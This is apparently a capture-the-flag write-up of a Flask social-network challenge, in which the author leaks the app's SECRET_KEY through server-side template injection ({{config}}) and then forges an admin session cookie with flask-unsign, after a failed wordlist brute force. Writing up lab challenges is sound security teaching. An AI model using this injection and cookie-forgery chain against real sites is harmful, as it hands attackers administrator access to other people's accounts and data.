Statement: I am creating the next big social networking platform, but I have a history of setting up unsecured software.

If you can log in to the admin user, I will give you the flag.

Someone hacked my site after I read his message, so I don’t read the DMs sent to me anymore! > :(

On top of that, I’m imposing an even stricter special character filter because I don’t really know how to patch my code.

p.s. To save you time, don’t try to get a reverse shell


When logging into the site, you can see that the session cookie is a Flask cookie:

.eJwlzjEOwjAMBdC7eGaI7X4n6WVQnNiCtaUT4u4g8U7w3nTPI84H7a_jihvdn4t2mqEo3vsaYEHFcuUsHdgcm3plzEB6baHSCrqYhLFnaI7KGsk8UYRzYlpzF-TiluI2TIaoDNWiLS2kcYZV3mou6CpjlCaVfpHrjOO_Ufp8AYinLpY. YmzqWA.f1mFmMrseT1CpljXeYZAInT8c_Q

I start by decoding the cookie with flask-unsign:

flask-unsign --decode --cookie 'eJwlzjEOwjAMBdC7eGaI7X4n6WVQnNiCtaUT4u4g8U7w3nTPI84H7a_jihvdn4t2mqEo3vsaYEHFcuUsHdgcm3plzEB6baHSCrqYhLFnaI7KGsk8UYRzYlpzF- TiluI2TIaoDNWiLS2kcYZV3mou6CpjlCaVfpHrjOO_Ufp8AYinLpY. YmzqWA.f1mFmMrseT1CpljXeYZAInT8c_Q'

Cookie value:

{'_fresh': True, '_id': 'ce350b99da512575db31f09554b543b715ce5fb78e328059262e61bfe3fa713ef11c5021fc5c68bb25fd18f2b6a62a232a33038f6e281fe67147fd53d0aa0827', '_user_id': '2'}

We can see that the value _user_id is 2. It is very likely that the value 1 is the administrator account.

I then try to brute force the cookie by dictionary attack but not conclusively:

flask-unsign --unsign --cookie ". eJwlzjEOwjAMBdC7eGaI7X4n6WVQnNiCtaUT4u4g8U7w3nTPI84H7a_jihvdn4t2mqEo3vsaYEHFcuUsHdgcm3plzEB6baHSCrqYhLFnaI7KGsk8UYRzYlpzF-TiluI2TIaoDNWiLS2kcYZV3mou6CpjlCaVfpHrjOO_Ufp8AYinLpY. YmzqWA.f1mFmMrseT1CpljXeYZAInT8c_Q" --wordlist ~/rockyou.txt --no-lit
eral-eval

We are missing the key to sign our Flask cookie, so I decide to look at the web server side to get this value.

On the message sending page, I notice that a SSTI (Server Side Template Injection) flaw is exploitable thanks to a simple payload: {{7*'7'}}

So I’ll try to recover the server configuration by injecting the payload {{config}}:

Just sent your message: <Config {'ENV': 'production',
DEBUG': False,
'TESTING': False,
PROPAGATE_EXCEPTIONS': None, 
PRESERVE_CONTEXT_ON_EXCEPTION': None, 
SECRET_KEY': 'qHIMoRzDyjmWXmtOVYXRUomyOiBaNd', 
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 
USE_X_SENDFILE': False, 
'SERVER_NAME': None, 
'APPLICATION_ROOT': '/', 
'SESSION_COOKIE_NAME': 'session', 
'SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_PATH': None, 
'SESSION_COOKIE_HTTPONLY': False, 
'SESSION_COOKIE_SECURE': False, 
'SESSION_COOKIE_SAMESITE': None, 
'SESSION_REFRESH_EACH_REQUEST': True, 
'MAX_CONTENT_LENGTH': None, 
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 
TRAP_BAD_REQUEST_ERRORS': None, 
TRAP_HTTP_EXCEPTIONS': False, 
EXPLAIN_TEMPLATE_LOADING': False, 
'PREFERRED_URL_SCHEME': 'http', 
'JSON_AS_ASCII': True, 
'JSON_SORT_KEYS': True, 
'JSONIFY_PRETTYPRINT_REGULAR': False, 
'JSONIFY_MIMETYPE': 'application/json', 
'TEMPLATES_AUTO_RELOAD': None, 
'MAX_COOKIE_SIZE': 4093, 
'SQLALCHEMY_DATABASE_URI': 'sqlite:///db.sqlite', 
'SQLALCHEMY_TRACK_MODIFICATIONS': False, 
'UPLOAD_FOLDER': '/app/app/uploads', 
'SQLALCHEMY_BINDS': None, 
'SQLALCHEMY_NATIVE_UNICODE': None, 
'SQLALCHEMY_ECHO': False, 
'SQLALCHEMY_RECORD_QUERIES': None, 
'SQLALCHEMY_POOL_SIZE': None,
'SQLALCHEMY_POOL_TIMEOUT': None, 
'SQLALCHEMY_POOL_RECYCLE': None, 
'SQLALCHEMY_MAX_OVERFLOW': None, 
'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 
'SQLALCHEMY_ENGINE_OPTIONS': {}}>

I get the value of the key 'SECRET_KEY': 'qHIMoRzDyjmWXmtOVYXRUomyOiBaNd' and change the cookie to match the admin account:

flask-unsign --sign --cookie "{'_fresh': True, '_id': 'ce350b99da512575db31f09554b543b715ce5fb78e328059262e61bfe3fa713ef11c5021fc5c68bb25fd18f2b6a62a232a33038f6e281fe67147fd53d0aa0827', '_user_id': '1'}" --secret 'qHIMoRzDyjmWXmtOVYXRUomyOiBaNd'

Now I just have to authenticate with the admin cookie and get the flag.

Flag: PCTF{y0u_can_s1gn_my_c00k13s_anyt1m3_;)}